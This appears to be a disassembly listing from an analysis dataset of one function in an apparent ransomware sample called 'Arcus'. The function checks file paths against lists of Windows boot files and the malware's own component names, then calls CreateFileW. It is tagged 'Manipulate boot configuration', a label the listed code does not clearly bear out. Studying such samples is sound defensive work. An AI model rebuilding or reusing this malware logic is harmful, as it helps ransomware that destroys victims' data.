Function at 0x4518a0
Capabilities:
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bee62
mov eax, dword fs:[0]
push eax
sub esp, 0x174
mov eax, dword [0x64ef14]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 7
mov word [ebp - 0x178], ax
mov dword [ebp - 4], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], 7
mov word [ebp - 0x160], ax
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], 7
mov word [ebp - 0x148], ax
lea eax, [ebp - 0x148]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x160]
push eax
lea eax, [ebp - 0x178]
push eax
push esi
call fcn.004520f0
mov eax, dword fs:[0x2c]
mov edi, dword [eax]
mov eax, dword [0x6536d8]
cmp eax, dword [edi + 4]
jle 0x451c0c
push 0x6536d8
call fcn.005801bd
add esp, 4
cmp dword [0x6536d8], 0xffffffff
jne 0x451c0c
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x130]
push 0x10
xor eax, eax
mov dword [ebp - 0x120], 0
push 0x644790
mov dword [ebp - 0x11c], 7
mov word [ebp - 0x130], ax
call fcn.00452d40
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x118]
push 8
xor eax, eax
mov dword [ebp - 0x108], 0
push str.boot.ini
mov dword [ebp - 0x104], 7
mov word [ebp - 0x118], ax
call fcn.00452d40
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x100]
push 0xc
xor eax, eax
mov dword [ebp - 0xf0], 0
push str.bootfont.bin
mov dword [ebp - 0xec], 7
mov word [ebp - 0x100], ax
call fcn.00452d40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xe8]
push 5
xor eax, eax
mov dword [ebp - 0xd8], 0
push str.ntldr
mov dword [ebp - 0xd4], 7
mov word [ebp - 0xe8], ax
call fcn.00452d40
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xd0]
push 0xb
xor eax, eax
mov dword [ebp - 0xc0], 0
push str.ArcusEncApp
mov dword [ebp - 0xbc], 7
mov word [ebp - 0xd0], ax
call fcn.00452d40
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xb8]
push 0x10
xor eax, eax
mov dword [ebp - 0xa8], 0
push str.FileEncryptorApp
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
call fcn.00452d40
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xa0]
push 0x14
xor eax, eax
mov dword [ebp - 0x90], 0
push str.ExtractPrivateKeyApp
mov dword [ebp - 0x8c], 7
mov word [ebp - 0xa0], ax
call fcn.00452d40
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x88]
push 0x10
xor eax, eax
mov dword [ebp - 0x78], 0
push str.FileDecryptorApp
mov dword [ebp - 0x74], 7
mov word [ebp - 0x88], ax
call fcn.00452d40
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x70]
push 7
xor eax, eax
mov dword [ebp - 0x60], 0
push str.svccost
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
call fcn.00452d40
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x58]
push 0xc
xor eax, eax
mov dword [ebp - 0x48], 0
push str.ntdetect.com
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.00452d40
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x40]
push 6
xor eax, eax
mov dword [ebp - 0x30], 0
push str.io.sys
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.00452d40
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x28]
push 0xf
xor eax, eax
mov dword [ebp - 0x18], 0
push str.MakeKeysFileApp
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.00452d40
push ecx
lea eax, [ebp - 0x17c]
mov byte [ebp - 4], 0xf
push eax
mov ecx, 0x6536dc
mov dword [ebp - 0x17c], 0
call fcn.00452c00
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 0x10
push eax
lea eax, [ebp - 0x130]
mov ecx, 0x6536dc
push eax
call fcn.00453d30
push 0x44d4f0
push 0xc
push 0x18
lea eax, [ebp - 0x130]
mov byte [ebp - 4], 3
push eax
call fcn.0058053c
push 0x5c0490
call fcn.00580527
push 0x6536d8
mov byte [ebp - 4], 2
call fcn.0058017e
add esp, 8
mov eax, dword [0x6536fc]
cmp eax, dword [edi + 4]
jle 0x451dcf
push 0x6536fc
call fcn.005801bd
add esp, 4
cmp dword [0x6536fc], 0xffffffff
jne 0x451dcf
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xb8]
push 5
xor eax, eax
mov dword [ebp - 0xa8], 0
push str.Arcus
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
call fcn.00452d40
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xa0]
push 5
xor eax, eax
mov dword [ebp - 0x90], 0
push str.arcus
mov dword [ebp - 0x8c], 7
mov word [ebp - 0xa0], ax
call fcn.00452d40
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x88]
push 3
xor eax, eax
mov dword [ebp - 0x78], 0
push 0x6448f0
mov dword [ebp - 0x74], 7
mov word [ebp - 0x88], ax
call fcn.00452d40
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x70]
push 3
xor eax, eax
mov dword [ebp - 0x60], 0
push 0x6448f8
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
call fcn.00452d40
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x58]
push 3
xor eax, eax
mov dword [ebp - 0x48], 0
push 0x644900
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
call fcn.00452d40
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x40]
push 3
xor eax, eax
mov dword [ebp - 0x30], 0
push 0x644908
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
call fcn.00452d40
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x28]
push 3
xor eax, eax
mov dword [ebp - 0x18], 0
push 0x644910
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.00452d40
push ecx
lea eax, [ebp - 0x17c]
mov byte [ebp - 4], 0x18
push eax
mov ecx, 0x653700
mov dword [ebp - 0x17c], 0
call fcn.00452c00
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xb8]
mov ecx, 0x653700
push eax
call fcn.00453d30
push 0x44d4f0
push 7
push 0x18
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x11
push eax
call fcn.0058053c
push 0x5c0430
call fcn.00580527
push 0x6536fc
call fcn.0058017e
add esp, 8
lea eax, [ebp - 0x178]
mov ecx, 0x6536dc
push eax
lea eax, [ebp - 0x180]
push eax
call fcn.00452a90
mov eax, dword [ebp - 0x180]
xor edx, edx
mov ecx, dword [ebp - 0x17c]
cmp eax, ecx
je 0x451e0f
nop dword [eax]
mov eax, dword [eax]
inc edx
cmp eax, ecx
jne 0x451e00
test edx, edx
jne 0x451ead
lea eax, [ebp - 0x160]
mov ecx, 0x6536dc
push eax
lea eax, [ebp - 0x180]
push eax
call fcn.00452a90
mov eax, dword [ebp - 0x180]
xor edx, edx
mov ecx, dword [ebp - 0x17c]
cmp eax, ecx
je 0x451e4b
nop dword [eax]
mov eax, dword [eax]
inc edx
cmp eax, ecx
jne 0x451e40
test edx, edx
jne 0x451ead
lea eax, [ebp - 0x148]
mov ecx, 0x653700
push eax
lea eax, [ebp - 0x180]
push eax
call fcn.00452a90
mov eax, dword [ebp - 0x180]
xor edx, edx
mov ecx, dword [ebp - 0x17c]
cmp eax, ecx
je 0x451e80
mov eax, dword [eax]
inc edx
cmp eax, ecx
jne 0x451e75
test edx, edx
jne 0x451ead
cmp dword [esi + 0x14], 8
jb 0x451e88
mov esi, dword [esi]
push 0
push 0x80
push 3
push 0
push 0
push 0x80010000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x451eb1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
jmp 0x451eba
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
lea ecx, [ebp - 0x148]
call fcn.0044f0e0
lea ecx, [ebp - 0x160]
call fcn.0044f0e0
lea ecx, [ebp - 0x178]
call fcn.0044f0e0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0057ffc6
mov esp, ebp
pop ebp
ret 4